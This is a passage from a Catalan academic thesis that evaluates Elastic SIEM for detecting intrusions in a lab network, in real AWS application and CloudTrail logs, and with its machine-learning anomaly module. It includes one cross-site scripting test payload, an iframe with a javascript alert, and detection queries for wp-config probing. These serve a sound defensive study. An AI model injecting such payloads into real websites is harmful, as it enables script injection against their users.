Una altra de les vulnerabilitats que es poden localitzar freqüentment a les webs, és la realització d'atacs de *Cross-Site Scripting*. Podem realitzar un atac XSS si introduïm el següent text a la cerca de la pàgina web (Captura 143: Atac XSS): <iframe src="javascript:alert(`xss`)">

Realitzem un seguiment d'aquest atac a l'Elastic SIEM i veiem que no ens apareix cap alerta. Continuant amb el seguiment, si accedim de nou a *Network* i revisem els *Http Requests*, tampoc detectem la sol·licitud. No obstant això, si accedim a l'apartat d'APM d'Elastic, podem veure la transacció però no indica quin és el valor que s'ha buscat: Captura 144: Informació APM.

En aquest cas, Elastic SIEM no ens permet detectar, ni poder veure les accions realitzades amb l'atac *Cross-Site Scripting*.

# 5.2.7. Conclusions Escenari 1

Un cop realitzades les diferents proves amb aquest escenari i, havent adquirit més coneixement sobre l'aplicació, podem extreure'n les següents conclusions:

- Elastic SIEM és molt útil per tal de detectar intrusions pel que fa a sistemes: permet detectar comunicacions i, fins i tot, les comandes que han fet possible la intrusió. No obstant això, aquestes facilitats no s'apliquen si parlem d'intrusions web.
- Elastic SIEM ens proporciona una interfície amigable per tal de realitzar cerques i realitzar els seguiments dels diferents *logs* que s'han introduït gràcies als diferents Beats. D'aquesta manera, ha estat possible seguir les diferents intrusions que s'han realitzat, podent veure les accions que s'han efectuat.
- La majoria de les deteccions d'aquestes intrusions s'han hagut de realitzar a posteriori de manera manual, ja que les regles que incorpora el mateix Elastic SIEM són limitades i estan centrades a detectar casuístiques puntuals del servidor. A causa de a la quantitat de dades que s'han introduït, és complicat veure en temps real les intrusions efectuades. En moltes ocasions s'ha pogut detectar gràcies a la presència del Suricata com a sistema d'IDS que, gràcies a les seves regles, llança alertes contra l'Elastic SIEM.
- Les regles de detecció es basen en la realització de cerques dels diferents índexs que s'han incorporat. No és possible realitzar correlacions d'esdeveniments, això fa que permeti només la realització de cerques pels camps que apareixen a l'*Elastic Common Schema*.
- Tot i disposar de l'APM-Server, ha estat complicat poder realitzar el seguiment de les intrusions web. A més, alguns camps que podien ser útils per crear una regla, no ho han permès, ja que no es troben dins de l'*Elastic Common Schema*.

# 5.3. Escenari 2: Cloud Amazon Web Service

Un cop hem vist el que ens ofereix Elastic SIEM en un entorn empresarial, el següent pas serà veure què ens pot oferir a un entorn al *cloud*.

# 5.3.1. Obtenció de les dades

Com s'ha comentat en apartats anteriors, existeixen diferents orígens on podem localitzar els *logs* de l'aplicació real utilitzada en aquest escenari. Part d'aquests *logs* de l'aplicació s'emmagatzemen a un *bucket* s3<sup>14</sup>, a més, també hi ha dades interessants sobre seguretat del compte d'AWS en el *Cloudtrail*<sup>15</sup>.

<sup>&</sup>lt;sup>14</sup> Servei que s'ofereix des d'AWS que permet l'emmagatzematge d'objectes al Cloud.

<sup>&</sup>lt;sup>15</sup> Servei que s'ofereix des d'AWS que permet realitzar auditories de governança, conformitat, operativa i de risc del compte AWS.

### 5.3.1.1. Logs d'aplicació: S3

Un dels *logs* més importants per afegir a l'Elastic Serach, correspon als *logs* d'accés a l'aplicació. Per tal de poder emmagatzemar aquesta informació, s'ha de convertir en informació estructurada. Per fer-ho, s'utilitzarà el Logstasth i, mitjançant el filtre *grok*, transformarem aquesta informació.

Aquests *logs* com ja he comentat, s'emmagatzemen al Servei S3 d'Amazon. Una de les característiques d'aquest servei, tal com es pot veure a "Precios de Amazon S3" de la seva pròpia web, és que el cost d'emmagatzematge és baix. No obstant això, cada GET que es realitza sobre els diferents objectes es factura a part. Per tal d'estalviar costos al client, he descarregat aquest *logs* directament a l'ElasticSearch i he realitzat el seu processat localment. Com que aquestes dades són reals, per tema de privacitat, he amagat algunes parts dels noms.

Per tal de poder descarregar aquests *logs*, he utilitzat el mateix client d'AWS i he executat la següent comanda:

aws s3 cp --recursive s3://<client>-logs/front/2020/ /dades/s3logs --profile <client>

Un cop ja disposem dels *logs*, el següent pas serà configurar el Logstash (Configuració 1: Configuració del Logstash) perquè processi aquesta informació:

- Primer de tot, configuraré que la font de les dades sigui d'un Beat que escoltarà pel port 5044.
- El següent pas és configurar el filtre: serà l'encarregat de processar cadascuna de les línies que li enviem i transformar-les en dades estructurades. S'utilitzaran els filtres del grok i s'assignaran els diferents camps segons l'*Elastic Common Schema*. A més, ho enriquiré amb la informació geogràfica de la IP que realitza la comunicació.
- En últim lloc, quedarà indicar on volem que s'emmagatzemi la informació, que serà a l'ElasticSearch.

Un cop ja tenim configurat el Logstash, el següent pas serà configurar el FileBeat per tal que pugui enviar el contingut dels diferents logs al Logstash. Com que no és possible utilitzar un mateix FileBeat per diferents outputs, s'ha decidit instal·lar-ne un de nou. Aquest s'ha configurat de manera que, com a output, enviï el contingut dels fitxers que llegeix al Logstash. **Configuració 2: Configuració del FileBeat** AWS.

A partir d'aquest punt, el FileBeat recollirà tots el *logs* que hi hagi a la carpeta /dades/s3logs/logs/\*, els enviarà al Logstash i els incorporarà a l'ElasticSearch amb la data en què van succeir (Captura 145: Incorporació dels logs d'aplicació a l'Elasticsearch).

### 5.3.1.2. CloudTrail Logs

Uns altres *logs* que són interessants de poder analitzar són els provinents del *CloudTrail*.

Per tal d'obtenir aquesta informació, utilitzarem l'*awscli*<sup>16</sup>. No obstant això, el valor que obtenim, tot i ser un JSON, conté alguns valors que impedeixen que es pugui processar. Per tal que la informació descarregada sigui correcta, utilitzarem la següent comanda:

aws cloudtrail lookup-events --profile <perfil> --start-time "DD/MM/AAAA, HH:MM" --end-time "DD/MM/AAAA, HH:MM" --query 'Events[].CloudTrailEvent' --output json | sed -e 's/\\n//g' | sed -e 's/\\/g' | sed -e 's/\/g' > Eventsawscli.json

Per tal de poder processar i afegir aquests *logs* a l'ElasticSearch, serà necessari realitzar una nova configuració que permeti tractar els fitxers JSON. A més, s'aplicarà un filtre que assigni a la *@timestamp*<sup>17</sup>el valor *eventTime* del fitxer generat. **Configuració 3: CloudTrail Logstash.** 

Per tal d'enviar aquests nous *logs* al Logstash, s'haurà d'ajustar la configuració del FileBeat perquè accepti els *logs* en format JSON **Configuració 4: FileBeat JSON**.

D'aquesta manera, aconseguirem que la informació del *CloudTrail* s'incorpori a l'ElasticSearch, permetent realitzar consultes sobre aquests valors. (Captura 146: Esdeveniment CloudTrail I i Captura 147: Esdeveniment Cloudtrail II).

## 5.3.2. Anàlisi de dades

### 5.3.2.1. Logs d'aplicació: S3

Aquestes dades corresponen a un entorn real de producció, per tant, no serà possible simular atacs. No obstant això, el passat dia 24 de març es va detectar que un tipus de consultes específiques provocaven que el consum de recursos de l'aplicació es disparés. Per tal d'analitzar aquesta casuística, he importat els *logs* d'aquells dies.

La consulta que generava aquest comportament era:

/biz\_photos/scrollable\_photos/piZzhgc6o8I5RAiYWMBWtw,w2F5N4h26hOrz2KoxThomw,EbUZhM4fLpsW Q8fpBhhgEQ,iVmS58gWggsBcrmH2adGkQ,8-tWZ3ovFCwT9Fs5Mjvbw,aYIIvAqd6cnHX6AGkhjq5Q,\_QUh5vFHSuw8R\_uiFZ7XKQ,gq-1gRNvJHz3s4hSSJBisA,IB2u25TrT22WMwtqTXVmeQ,ubb9LaZSVa1A2FQ9YIfiaA,gxNxTsk72z9ja6QNYnEHw

Si analitzem el *logs* que hem importat, podem veure que la consulta es va realitzar a les 02:08. (Captura 148: GET consulta estranya). Si entrem en detall en aquesta consulta, podem veure que es va realitzar un GET i va retornar un codi 404, indicant que no existeix (Captura 149: Detall de la consulta).

<sup>&</sup>lt;sup>16</sup> Client que s'utilitza per interactuar d'una manera senzilla amb l'API d'AWS. Permet administrar mitjançant línia d'ordres els diferents serveis que s'ofereixen.

<sup>&</sup>lt;sup>17</sup> Camp de l'Elastic Common Schema que s'utilitza per informar la data i l'hora en què ha aparegut l'esdeveniment.

ND Filter 🗸 📳 🗸 uri,path: /bi	z_photos/scrollable_photos*		KQL	<ul> <li>Raw events</li> </ul>
🛞 — + Add filter				
Columns @timestamp 4	message event.category	event.action	host.name	sour
t http:request.method	EGET.			
t http://equest.referrer	155			
# http:response.bytes	5835			
Inttp://esponse.status.code	E404			
t Inttp.version	E531			
t input.type	Elog			
🗋 t lip	17 2 17 12 13 13 13 153			
t lig_file.path	/dades/s3logs/logs/access.log202003 23-1584942100			
log.offset	7212523			
🕑 t (message	10 .163, 15 1			
🕑 ⊕ source.ip	40. (63			
📋 🖞 İtags	beats_input_codec_plain_applied			
() () timestamo	E23/Mar/2020/02-06:53 +0100			

Amb la informació que ens proporciona l'esdeveniment, podem realitzar un filtre amb la IP origen mitjançant un *timeline* source.ip: 40.x.x.63. D'aquesta manera, aconseguim tenir una traçabilitat de les diferents peticions que es van fer contra la web (Captura 150: Filtre per IP) on podem veure que, moltes de les peticions que es van realitzar, van retornar un codi d'error 404. Si ajustem el *timeline* i li afegim que el codi de resposta sigui diferent a 404: source.ip: 40.x.x.63 and not http.response.status\_code: 404 podem veure que aquesta IP no ha realitzat cap petició diferent (Captura 151: Consultes amb estat diferent a 404). Per tant, és altament probable que fos algun tipus de bot intentant obtenir dades de la web.

>	무	P	Mar 23, 2020 @ 15:23:27.000	/_layouts/15/blank.js	404
>	Ŧ	P	Mar 23, 2020 @ 13:07:01.000	/css/btn.min.css	404
>	Ŧ	P	Mar 23, 2020 @ 13:07:00.000	/js/capslock.js	404
>	帀	P	Mar 23, 2020 @ 13:06:59.000	/js/jeasyui/jquery.easyui.m	404
>	Ŧ	P	Mar 23, 2020 @ 11:24:05.000	/web/css/lity.css	404
>	무	P	Mar 23, 2020 @ 11:24:04.000	/web/js/validation.js	404
>	무	P	Mar 23, 2020 @ 11:24:04.000	/web/js/common.js	404
>	Ŧ	P	Mar 23, 2020 @ 11:24:03.000	/web/js/jquery.hc-sticky.m	404
>	Ŧ	þ	Mar 23, 2020 @ 11:24:02.000	/web/css/jquery.treefilter.c	404
>	Ŧ	P	Mar 23, 2020 @ 11:24:02.000	/web/css/ranking.css	404
>	п		Mar 23, 2020 @ 10:53:30.000	/assets/is/base/detail.min.is	404

Una altra manera de detectar anomalies amb aquestes dades, és utilitzant la geolocalització de les IPs. Aquesta informació l'hem obtinguda amb l'enriquiment explicat en l'apartat anterior i necessitarem configurar l'aplicació de mapes del Kibana. Per tal de poder utilitzar aquesta funcionalitat, serà necessari crear l'*Index pattern* (Captura 152: Index Pattern I i Captura 153: Index Pattern II) i crear una capa a l'aplicació de mapes amb el camp client.geo.location. (Captura 154: Configuració de la capa I, Captura 155: Configuració de la capa II i Captura 156: Configuració de la capa III).

Si observem el mapa, podem veure que el principal lloc d'origen dels usuaris és la península Ibèrica, part d'Europa i els Estats Units. No obstant això, hi ha algunes connexions puntuals des de Rússia o bé des de la Xina.


Si observem una de les IP's que ha accedit des de Rússia (Captura 157: Accés des de Rússia), podem veure un intent d'accés a la ruta /wp-config.php.fatt-debug-bak (Captura 158: Detall d'accés des de Rússia). Aquesta ruta correspon a un arxiu de configuració d'un *WordPress*. No obstant això, la web en qüestió no utilitza aquesta tecnologia, cosa que fa pensar en un possible intent maliciós per obtenir dades. Si al *timeline* li apliquem un filtre buscant url.path: \*wp-config\*, podrem veure que des d'altres localitzacions també s'ha intentat accedir en aquesta ruta (Captura 159: Intents accés \*wp-config\*).

Per tal de detectar aquests tipus de consultes, he realitzat una *signal* amb les següents consultes: url.path: \*wp-config\* (Captura 160: Signal wp-config) o bé: url.path: /biz\_photos/scrollable\_photos/\* (Captura 161: Signal consulta estranya).

# 5.3.2.2. Cloudtrail Logs

Com hem comentat anteriorment, aquests *logs* ens ofereixen informació sobre auditoria, conformitat i operativa. Aquesta informació s'obté gràcies a la interacció entre els diferents components i usuaris amb l'API que ofereix AWS.

Com es va comentar durant la planificació dels diferents escenaris, les diferents webs tenen format de contenidor i s'utilitza una plataforma de *Kubernetes* per executar-los. Aquesta plataforma està formada per tres servidors màsters que controlen el funcionament dels diferents *workers*. Per saber l'estat en què es troben els diferents components d'aquest servidors, utilitzen l'API d'AWS. Analitzant un d'aquests esdeveniments, podem veure la següent informació (Captura 162: Detall d'esdeveniment d'instància I, Captura 163: Detall d'esdeveniment d'instància II, Captura 164: Detall d'esdeveniment d'instància III):

- Instància que ha realitzat l'acció: userIdentity.principalId
- > Quin rol ha utilitzat: userIdentity.sessionContext.sessionIssuer.arn
- Tipus d'acció que ha executat: eventName i userIdentity.type.
- Sobre què ho ha executat: requestParameters.filterSet.items

Un altre tipus d'informació que podem obtenir d'aquests *logs*, són les acciones que realitzen els diferents usuaris. En l'exemple següent podem veure com

l'usuari de monitoratge ha utilitzat l'API per saber l'estat d'una instància. Els camps destacats serien (Captura 165: Detall d'acció d'usuari I i Captura 166: Detall d'acció d'usuari II):

- > Usuari que realitza l'acció: userIdentity.userName i userIdentity.accessKeyId
- > Tipus d'acció que ha executat: eventName
- Sobre què ho ha executat: requestParameters.instancesSet.items

# 5.3.3. Conclusions de l'escenari 2

Com s'ha comentat anteriorment, l'objectiu d'aquest escenari era comprovar què ens pot oferir Elastic SIEM per la detecció de problemes de seguretat en una plataforma real al núvol. En aquest cas, no ha estat possible realitzar cap mena d'intrusió. No obstant això, ha estat possible detectar algunes anomalies mitjançant els *logs* d'accés a l'aplicació.

En aquest cas, com que no s'han pogut utilitzar els Beats propis de l'Elastic, la importació de les dades a l'ElasticSearch i el seu processat per tal de ser analitzades mitjançant l'Elastic SIEM, ha estat més artesanal. He hagut de processar aquests *logs* en text pla i, mitjançant diferents filtres, convertir-los en dades estructurades, intentant assignar aquestes dades estructurades als camps de l'Elastic Common Schema (ECS). Aquest procés s'ha realitzat gràcies al Logstash i al FileBeat.

Continuant amb els *logs* de l'aplicació, també he pogut utilitzar l'aplicació de mapes del Kibana per tal de detectar, d'una manera visual, quina era la localització geogràfica de les consultes.

Pel que fa als *logs* de *CloudTrail*, he hagut de crear un nou índex, ja que els camps que apareixien no es podien enllaçar a l'ECS del FileBeat. Una casuística especial d'aquest *logs*, és que per poder ser analitzats mitjançant Elastic SIEM, ha estat necessari que el nom de l'índex comencés amb el nom: *filebeat-\**.

En aquest escenari, la possibilitat de detectar anomalies està lligada directament amb els tipus de *logs* que generen les aplicacions, així com la seva facilitat o dificultat de processar-los per poder-los afegir a l'ElasticSearch.

# 5.4. Escenari 3: Machine Learning

# 5.4.1. Que és Machine Learning?

L'objectiu bàsic del Machine Learning és l'elaboració de models que ens permetin realitzar prediccions o detecció d'anomalies. Aquests models s'entrenen<sup>18</sup> gràcies a algoritmes que s'apliquen sobre una quantitat molt elevada de dades.

<sup>&</sup>lt;sup>18</sup> Concepte que s'utilitza en Machine Learning que consisteix a aplicar un algoritme sobre una quantitat important de dades perquè "aprengui" quin és el comportament normal i detectar d'aquesta manera els valors que es desvien d'aquest comportament après.

Sovint aquest procés està format per tres etapes:

- Obtenció de dades:
  - Utilització de diferents *scripts* encarregats d'obtenir informació de diferents fonts de dades. Per obtenir les dades, els productes d'Elastic utilitzen els diferents Beats.
- > Processament de les dades i visualització:
  - Utilització de scripts per tal d'analitzar les dades obtingudes al punt anterior i realitzar normalitzacions<sup>19</sup> en les dades. L'Elastic Stack ofereix l'ElasticSearch per l'emmagatzematge i el processament de les dades i el Kibana per la seva visualització.
- > Creació de models i anàlisi de resultats:
  - Un cop ja es disposa de les dades normalitzades, es procedeix a crear els models basats en algoritmes. Sol ser un procés cíclic: es crea el model, s'entrena amb dades, es comprova amb dades reals i s'apliquen modificacions per crear un model nou. A l'Elastic Stack es poden crear aquests models en el Kibana.

Aplicant el Machine Learning en el context de seguretat, es podria:

- Detectar processos anòmals:
  - Noms i rutes estranyes.
  - Arbres de processos anòmals.
- Activitats anòmales a la xarxa:
  - Consultes DNS estranyes.
  - Processos que no solen utilitzar xarxes.
- Comportaments estranys d'usuaris:
  - Esdeveniments d'autenticació.
  - Execució de processos que no són estàndards.
- Patrons de dades poc comuns:
  - *Scripts* amb ofuscació.
  - Nombre molt elevat de consultes DNS.

# 5.4.2. El mòdul de Machine Learning per Elastic SIEM

El mòdul de Machine Learning és un element comú en els diferents productes que ofereix Elastic Stack. En versions anteriors a l'Elastic 7.5, permetia utilitzar models no supervisats<sup>20</sup>. No obstant això, en les versions més recents és possible començar a treballar amb models supervisats<sup>21</sup>.

El que busca Elastic integrant aquesta funcionalitat és permetre utilitzar aquesta tecnologia als usuaris que no tenen coneixements previs de Machine Learning. Un dels exemples pel que fa a l'Elastic SIEM, és que Elastic ofereix un seguit de

<sup>&</sup>lt;sup>19</sup> Procés destinat a convertir les dades planes en dades estructurades.

<sup>&</sup>lt;sup>20</sup> Tal com s'indica a "Tipos de aprendizaje en Machine Learning: supervisado y no supervisado" (Recuero de los Santos, 2017): les dades que hi ha en aquest model no estan etiquetades, només coneixem les dades d'entrada però no sabem les dades de sortida. La funcionalitat és de cercar informació.

<sup>&</sup>lt;sup>21</sup> Tal com s'indica a "Tipos de aprendizaje en Machine Learning: supervisado y no supervisado" (Recuero de los Santos, 2017): hi ha les dades etiquetades, a les dades d'entrada se li pot assignar una sortida. Té una funció de predicció.

models ja creats que es poden aplicar en aquest context, alguns d'ells els veurem en els següents punts. Actualment, aquests models encara es troben en fase *beta*.

El mòdul de Machine Learning és una de les funcionalitats que no s'inclouen de manera gratuïta a l'Elastic Stack, per poder utilitzar-lo és necessari disposar d'una subscripció "*Platino*" o "*Enterprise*". No obstant això, és possible activar una llicència de proves per tal de poder-lo utilitzar temporalment.

Per tal d'activar aquesta llicència de proves, ens connectarem a l'aplicació i ens dirigirem a l'apartat de *management*. Seguidament, fem clic sobre *Licence Management* (Captura 167: Finestra management). Un cop a la finestra, farem clic sobre "*Start Trial*" (Captura 168: License management). A partir d'aquest punt, ja tindrem les noves funcionalitats activades (Captura 169: Llicència activa).

El següent pas que s'haurà de realitzar per tal d'habilitar aquesta funcionalitat, és crear els *Index Patterns*. Per tant, accediré a la finestra *management* en aquest subapartat (Captura 170: Finestra d'Index Patterns). Seguidament, faré clic sobre *"Create Index pattern"* i li indicaré el nom dels diferents índexs (*auditbeat-\*, winlogbeat-\*, packetbeat-\**) (Captura 171: Creació d'Index Pattern I). Si fem clic sobre *Next Step*, ens demanarà que indiquem un *TimeFilterName* on li indicarem *@timestamp* (Captura 172: Creació d'Index Pattern II).

# 5.4.3. Detecció d'anomalies amb Machine Learning.

Un cop ja tenim la llicència activada i els *Index Patterns* creats, si accedim a l'aplicació d'Elastic SIEM i fem clic sobre "*Anomaly Detection*", ens apareixeran els diferents models pre-creats que ens ofereix l'Elastic SIEM (Captura 173: Models pre-creats).

Un dels models pre-creats que disposem és l'anomenat rare\_process\_by\_host\_linux\_ecs, que intenta localitzar processos que no és freqüent que s'executin en servidors Linux. Si apliquem aquest model sobre les dades que hem generat en l'entorn empresarial en l'escenari 1 a l'ElasticSearch, podem veure que s'han detectat algunes anomalies (Captura 174: Model rare process by host linux ecs Т i Captura 175: Model rare\_process\_by\_host\_linux\_ecs II). En aquest cas, s'han detectat els processos docker-runc i systemd-shutdown entre d'altres. No obstant això, a simple vista, cap d'aquestes anomalies sembla un problema de seguretat. Per tant, estaríem parlant de falsos positius. El problema d'aquest model és que detecta com a anomalia qualsevol programa que s'executi de manera esporàdica.

Severity threshold	Interval			
• warning 🗸 🗸	Auto $\checkmark$			
time	severity $\downarrow$	detector	found for	influenced by
> May 9th 2020	• 11	rare process executions on Linux	systemd-shutdow	host.name: elasticstack.mistic.lab process.name: systemd-shutdow user.name: root po
				a da ser construction de la constru

Una altra informació que ens apareix en aquesta finestra és el "*Max Anomaly Score*" que és la suma de totes les puntuacions dels diferents processos en la franja horària indicada (Captura 176: Max anomaly detecion).



Un altre model que podem aplicar és el *windows\_anomalous\_user\_name\_ecs*, aquest model busca accions d'usuaris que normalment no estan actius. Com podem veure a la captura, s'han detectat diferents accions de l'usuari *sshdserver* (Captura 177: windows\_anomalous\_user\_name\_ecs). De la mateixa manera que en el model anterior, en aquest cas es detecten falsos positius si hi ha usuaris que normalment no realitzen cap acció.

# 5.4.4. Conclusions de l'escenari 3

La utilització del mòdul de *Machine Learning* per tal de detectar anomalies pot arribar a ser molt útil per tal de detectar patrons que a simple vista no es veuen. No obstant això, en les diferents proves que he realitzat en el laboratori, aquest comportament no s'ha vist reflectit. Com he indicat anteriorment, la utilització del *Machine Learning* es basa en el fet d'entrenar diferents algoritmes per detectar la informació desitjada aplicant-los a grans quantitats d'informació recollides en períodes prologats. En aquest cas, com que els diferents entorns tan sols han estat operatius durant la realització de les diferents proves, les mostres analitzades són limitades. Per tant, l'algoritme no ha tingut suficient informació per analitzar, donant en conseqüència molts falsos positius.

Per altre banda, s'ha realitzat una cerca de possibles anomalies en la franja horària, que es van realitzar les intrusions, i no es mostra cap resultat (Captura 178: No detecta anomalies).

0	timestamp $\psi$	message	host.name	event.module	event.dataset	event.action	user.name
Į A	Apr 18, 2020 @ 12:32:06.786	Process Wm	hiPrvSE.exe (PID:   misticad.mistic.lab	system	process	process_stopped	NT AUTHORITY\SYSTE
	A NT AUTHO	RITY\SYSTE	M @ misticad.mistic.lab in E C:\	Windows\system32 stopped process	>_ WmiPrvSE.exe (2596)	) C:\Windows\system3	2\wbem\wmiprvse.exe
				# 67c25c8f28b5fa7f5baa85bf1d272	Baed48e9cf0		
			D Pr	ocess WmiPrvSE.exe (PID: 2596) by us	er NT AUTHOR ===		
1A	Apr 18, 2020 @ 12:32:06.786	Process Wir	niPrvSE.exe (PID:   misticad.mistic.lab	system	process	process_stopped	1-
		misticad	d.mistic.lab in 🖻 C:\Windows\system3	12 stopped process >_ WmiPrvSE.	exe (4916) C:\Windows	s\system32\wbem\wmiprvs	e.exe
	A						
	Anomalies						
	Severity threshold		Interval				
	Severity threshold <ul> <li>warning</li> </ul>	$\sim$	Interval V				
	Severity threshold  warning time	$\sim$	Interval $$$ Auto $$$ severity $$$	detector	found for	influence	ced by
	Severity threshold  warning time	~	Auto ~ severity $\psi$	detector	found for	influenc	ced by me: misticad.mistic.lab
	Severity threshold  warning time	~	Interval Auto ∽ severity ↓	detector	found for	influend host.na ⊕ ⊝	ced by me: misticad.mistic.lab
	Severity threshold  warning time  April 18th 2020,	12:00	Interval Auto ∽ severity ↓ • 26	detector rare process executions o Windows	found for	influend host.nai ⊕ ⊖ process	ced by me: misticad.mistic.lab s.name: auditbeat.exe 🕀
	Severity threshold warning time April 18th 2020,	× 12:00	Interval Auto ∽ severity ↓ 26	detector rare process executions o Windows	found for	influenc host.nai @ process 	ced by me: misticad.mistic.lab s.name: auditbeat.exe 🕞
	Severity threshold  warning  time  April 18th 2020,	12:00	Interval Auto ∽ severity ↓ 26	detector rare process executions o Windows	found for	influenc host.na @	ced by me: misticad.mistic.lab s.name: auditbeat.exe me: SYSTEM
	Severity threshold  warning  time  April 18th 2020,	12:00	Interval Auto ∽ severity ↓ • 26	detector rare process executions o Windows	found for auditbeat.exe	influenc host.nai g o process process user.nai host.nai	ced by me: misticad.mistic.lab s.name: auditbeat.exe me: SYSTEM me: misticad.mistic.lab
	Severity threshold  warning  time  April 18th 2020,	12:00	Interval Auto ∽ severity ↓ • 26	detector rare process executions o Windows	found for	influence host.nai process o user.nai host.nai @ o	ced by me: misticad.mistic.lab s.name: auditbeat.exe me: SYSTEM me: misticad.mistic.lab

Un dels inconvenients d'aquest mòdul és que, a diferència dels Beats i els diferents components d'ElasticSearch, necessites disposar d'un subscripció més cara per poder-lo utilitzar. Això fa que el cost del producte sigui elevat per les PIME's.

# 6. Anàlisi de Resultats

# 6.1. Conclusions generals

A continuació s'indicaran les conclusions generals després d'haver realitzat els diferents anàlisis:

- Elastic SIEM és un bon punt de partida per l'objectiu que persegueix Elastic de poder consolidar-se en el món de la seguretat informàtica. Gràcies a un potent motor d'indexació (ElasticSearch), els diferents recol·lectors de dades (Beats), una interfície força intuïtiva (Kibana) i llicenciament *OpenSource*, permet que aquest producte sigui una bona opció perquè les empreses puguin disposar d'un SIEM. No obstant això, la dedicació necessària per obtenir un entorn operatiu amb alertes funcionals és elevada.
- La utilització dels diferents Beats fa que el procés d'ingesta de dades sigui senzill. Tan sols realitzant unes configuracions específiques als diferents components, s'inicialitzarà el procés i es podrà començar a analitzar les dades. Una característica de gran utilitat és la utilització de l'Elastic Common Schema de manera nativa. Fer que els camps s'anomenin de la mateixa manera, facilita la possibilitat de realitzar cerques. Per altra banda, si la informació que es vol obtenir prové de fonts no suportades de forma nativa pels Beats, s'ha d'utilitzar el Logstash. En aquest cas, el procés de normalització esdevé més costós: per una banda, s'ha d'utilitzar el *grok* per tal d'identificar els diferents valors i, després, s'ha de relacionar cada camp amb l'esquema de camps únics.
- La utilització de l'Elastic SIEM per tal de realitzar l'anàlisi de les dades és molt intuïtiu: permet realitzar diferents cerques utilitzant el drag and drop del camp sobre el timeline o mitjançant la utilització del KQL. Els diferents panells que hi ha a l'aplicació donen informació molt interessant per iniciar l'anàlisi de les dades.
- El sistema de detecció de signals, tot i basar-se en la realització de consultes KQL sobre les dades, és limitat avui en dia, ja que no permet realitzar correlacions d'esdeveniments tal com ofereixen d'altres productes del mercat. Això fa que no sigui possible realitzar condicions entre diferents esdeveniments. Les regles que porta per defecte són molt limitades i, gran part d'elles, estan centrades en la utilització del producte Elastic Endpoint Security. No obstant això, aquesta funcionalitat encara està en fase beta, esperem que en noves versions les vaguin millorant.

- És de gran utilitat disposar d'un IDS a l'entorn, ja que en diferents proves que he realitzat, el Suricata ha estat l'origen de l'alerta i ha permès detectar les diferents intrusions.
- S'han detectat comportaments diferents depenent de l'origen de la intrusió. Les intrusions que s'han realitzat directament sobre la màquina virtual, ha estat possible localitzar-les. Per altra banda, les proves en què s'han realitzat intrusions en l'àmbit d'aplicació web, tot i utilitzar el servei de l'APM, ha estat més costós i només s'han detectat anomalies específiques.
- La utilització del Machine Learning pot arribar a ser molt útil si els models que s'utilitzen s'han pogut entrenar amb una quantitat gran d'informació. Tot i facilitat d'utilització dels models de l'Elastic gràcies al Kibana, la necessitat d'adquirir la subscripció de pagament fa que no sigui viable per alguns tipus d'empresa.

# 6.2. Seguiment de la planificació inicial

Durant tota l'elaboració del treball s'ha intentat seguir la planificació indicada inicialment, no obstant això, en lloc de realitzar el seguiment de les tasques de manera diària, he optat per realitzar un seguiment setmanal. El principal motiu és que, per causes laborals, no he pogut dedicar el temps previst entre setmana i he hagut de realitzar esprints als caps de setmana.

Pel que fa a la planificació sobre la dedicació a cadascuna de les diferents tasques, globalment s'ha mantingut. En algunes ocasions, però, s'ha hagut d'ajustar, ja que algunes tasques han estat més rapides del previst i, per contra, algunes s'han complicat i he hagut de buscar solucions. Per exemple, en el cas de l'anàlisi d'intrusions web, per tal d'obtenir informació i poder analitzar-les, vaig haver de desplegar el component APM-Server i l'agent, elements que en la planificació del treball no estaven contemplats.

# 6.3. Problemes detectats durant el treball

Un dels principals problemes que he tingut durant el treball, ha estat amb l'elaboració de l'escenari 2. La situació excepcional que s'ha viscut al món amb la COVID-19 ha afectat al client d'on s'han extret les dades reals utilitzades per aquest escenari. El client ha hagut de reduir la inversió que tenia previst fer en la plataforma al *cloud* i, tot i que l'entorn està en ple funcionament, tan sols s'ha pogut permetre adquirir l'administració i la despesa de la plataforma. Ha hagut de prescindir de les millores, una d'aquestes estava orientada a l'anàlisi i la centralització de *logs* de seguretat mitjançant ElasticSearch.

Per tal de poder realitzar l'escenari en qüestió, al final vaig haver d'utilitzar les dades que ja existien a la plataforma com són els propis *logs* de l'aplicació, així com els *logs* que s'ofereixen amb el servei de *CloudTrail*, descarregar-los en local i afegir-los a l'ElasticSearch. Amb previsió d'aquesta situació, durant la tercera entrega de treball, vaig optar per ampliar l'abast de les proves realitzades a l'escenari 1, afegint l'anàlisi d'intrusions web mitjançant la utilització del producte *Web Security Dojo*.

Un altre dels problemes s'ha localitzat en la utilització de Machine Learning, a conseqüència de la utilització d'un laboratori i no de dades reals. Segons les necessitats, anava iniciant i aturant els diferents components, això ha fet que la quantitat de dades de què disposava el mòdul fos reduït i els algoritmes encarregats de l'anàlisi retornessin molts falsos positius.

# 6.4. Compliment dels objectius marcats

Durant la planificació del treball es van marcar els següents objectius, a continuació revisarem el seu compliment:

# 6.4.1. Objectius del treball

✓ Utilitzar els productes que ens ofereix Elastic Stack: ElasticSearch, Kibana, Logstash i Beats per a l'obtenció d'esdeveniments de seguretat.

Aquest objectiu es considera assolit, ja que gràcies els diferents components que formen part de l'Elastic Stack, ha fet possible poder obtenir esdeveniments de seguretat i afegir-los a l'ElasticSearch per realitzar els anàlisis.

✓ Provar la nova aplicació d'Elastic SIEM, inclòs dins d'Elastic Security, per l'anàlisi d'esdeveniments de seguretat.

En tots els casos d'ús del treball s'ha utilitzat l'aplicació de l'Elastic SIEM per tal de realitzar l'anàlisi de la informació que hi havia a l'ElasticSearch. Aconseguint així detectar intrusions de seguretat. Per tant, es considera que aquest objectiu s'ha assolit.

✓ Creació de diferents casos d'ús per tal d'aplicar el producte Elastic Security en un entorn empresarial.

S'han pogut planificar diferents casos d'ús on realitzar diferents tipus d'intrusions. Gràcies a la utilització del producte Elastic Security, ha estat possible detectarlos i analitzar-los. Per tat, també es considera aquest objectiu com assolit

✓ Aplicar el producte Elastic Security en un entorn al *cloud* amb informació real.

Tot i que només s'han pogut realitzar de manera limitada algunes proves amb la plataforma *cloud*, hem vist el potencial que ofereix el producte permetent la centralització dels diferents esdeveniments de seguretat i la realització de la seva anàlisi. Hagués estat interessant disposar de més dades i poder utilitzar aquest producte en un entorn real. En aquest cas, podem dir que s'ha assolit l'objectiu parcialment.

✓ Aplicar el mòdul Machine Learning a l'entorn empresarial per tal de detectar anomalies.

Ha estat possible aplicar algoritmes del Machine Learning d'una manera senzilla gràcies als algoritmes preexistents a l'ElasticSerach. Tot i el gran potencial d'aquesta tècnica, a causa de la quantitat limitada de dades de què disposava,

